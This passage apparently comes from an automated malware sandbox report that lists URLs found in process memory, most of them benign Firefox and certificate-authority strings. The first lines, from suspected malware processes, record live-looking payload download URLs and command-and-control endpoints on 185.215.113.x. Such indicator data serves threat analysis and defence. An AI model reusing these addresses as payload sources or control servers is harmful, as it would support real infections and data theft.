Source: 6c1c4a36e1.exe, 00000012.00000002.2532658447.000000000141F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeo
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe7
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000010.00000002.2518838054.0000000000BFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe2
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: 6c1c4a36e1.exe, 00000012.00000002.2532658447.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/~_/
Source: 6c1c4a36e1.exe, 00000012.00000002.2532658447.000000000141F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: 4b41d9dd20.exe, 00000013.00000002.2314305841.00000000018CE000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2392488170.000000000063E000.00000004.00000020.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000029.00000002.2527180417.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 4b41d9dd20.exe, 00000013.00000002.2314305841.00000000018EC000.00000004.00000020.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000013.00000002.2314305841.000000000192A000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2392488170.0000000000690000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2392488170.000000000063E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2392488170.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000029.00000002.2527180417.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000029.00000002.2527180417.000000000152D000.00000004.00000020.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000029.00000002.2527180417.0000000001533000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 4b41d9dd20.exe, 00000013.00000002.2314305841.0000000001914000.00000004.00000020.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000013.00000002.2314305841.0000000001944000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2392488170.000000000063E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2392488170.0000000000682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 4b41d9dd20.exe, 00000013.00000002.2314305841.0000000001914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php#Eke
Source: 4b41d9dd20.exe, 00000013.00000002.2314305841.000000000192A000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2392488170.000000000063E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2392488170.0000000000682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: 4b41d9dd20.exe, 00000013.00000002.2314305841.000000000192A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/~
Source: 4b41d9dd20.exe, 00000013.00000002.2314305841.0000000001914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php7Ege
Source: 4b41d9dd20.exe, 00000013.00000002.2314305841.0000000001944000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpU
Source: 4b41d9dd20.exe, 00000013.00000002.2314305841.00000000018EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/H
Source: 4b41d9dd20.exe, 00000013.00000002.2314305841.00000000018EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/P4
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ViewSizePreferences.SourceAumid001L
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000010.00000002.2518838054.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000010.00000002.2518838054.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php)
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php159001
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php5
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpM
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded-
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedq
Source: skotes.exe, 00000010.00000002.2518838054.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpsF
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.1374330472.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302245598.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1374330472.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302245598.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000022.00000002.2628709169.000001F365E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%sextractScheme
Source: firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: file.exe, 00000000.00000003.1453154723.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: file.exe, 00000000.00000003.1374330472.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302245598.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1374330472.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302245598.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1374330472.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302245598.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1374330472.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302245598.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1374330472.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302245598.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000022.00000002.2901748859.000001F36AEDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000022.00000002.2901748859.000001F36AED3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000022.00000002.2901748859.000001F36AE23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000022.00000002.2901748859.000001F36AE23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2894351966.000001F36A67E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000022.00000002.2905653405.000001F36B204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000022.00000002.2560485237.000001F365861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000022.00000002.2560485237.000001F365861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressionsC:
Source: firefox.exe, 00000022.00000002.2550900709.000001F35A103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 00000022.00000002.2898790385.000001F36ACBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2899281120.000001F36AD57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000022.00000002.2540256661.000000E5CD000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2884390196.000001F369B6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/aboutWelcomeBehavior
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabledhttp://mozilla.org/#/properties/addons
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThresholdhttp://mozilla.org/#/propert
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledhttp://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/boolean
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/valuehttp://moz
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B980000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabledhttp://mozilla.org/#/properties/preconnect
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRRhttp://mozilla.org/#/properties/insecureFallback
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3Enabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3GreaseEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGateresource://normandy/lib/AddonStudies.sys.mjs
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/migrateExtensions
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictor
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCaphttp://mozilla.org/#/properties/quickSugg
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollmenthttp://mozilla.org/#/properties/featureValidationO
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariationhttp://mozilla.org/#/properties
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataTypehttp://mozilla.org/#/properties/qu
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabledhttp://mozilla.org/#/properties/quickSug
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResultshttp://mozilla.org/#/properties/weatherFeatureGat
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showImportAll
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showPreferencesEntrypoint
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsEnabled
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsGreaseProb
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/useNewWizard
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
